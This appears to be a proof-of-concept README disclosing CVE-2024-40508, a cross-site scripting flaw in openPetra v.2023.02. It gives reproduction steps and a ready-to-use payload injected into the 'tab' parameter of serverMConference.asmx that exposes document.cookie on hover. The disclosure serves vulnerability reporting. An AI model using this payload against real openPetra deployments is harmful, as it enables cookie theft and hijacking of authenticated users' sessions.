OpenPetra v.2023.02 CVE-2024-40508# CVE-2024-40508
# Cross Site Scripting vulnerability in openPetra v.2023.02 via the serverMConference.asmx function.
**Description**: An unauthenticated user can steal cookies from authenticated user, by exploiting a XSS in openPetra v.2023.02 via the serverMConference.asmx function.
**Vulnerable Product Version**: openPetra v.2023.02
**CVE Author**: Jansen Moreira
**Date**: 13/07/2024
**CVE**: CVE-2024-40508
**CVE Link**: https://www.cve.org/CVERecord?id=CVE-2024-40508
**NVD Link**: https://nvd.nist.gov/vuln/detail/CVE-2024-40508
**Tenable Link**: https://www.tenable.com/cve/CVE-2024-40508
**Confirmed on**: 13/07/2024
**Tested on**: Linux
### Steps to reproduce:
1- Access the home Page
2- Use the following path and add the xss payload in the tab parametrer. EX.:
```target.com/api/serverMConference.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x=" ```
3- Hover the mouse over the left index item to trigger the XSS
**Payloads**:
tab: x" onmouseover=alert(document.cookie) x="
Discoverer(s)/Credits:
Jansen Moreira
[4.0K] /data/pocs/cd91163dffa6f93f50e5f8647dce8e631011f11d
└── [1.1K] README.md
0 directories, 1 file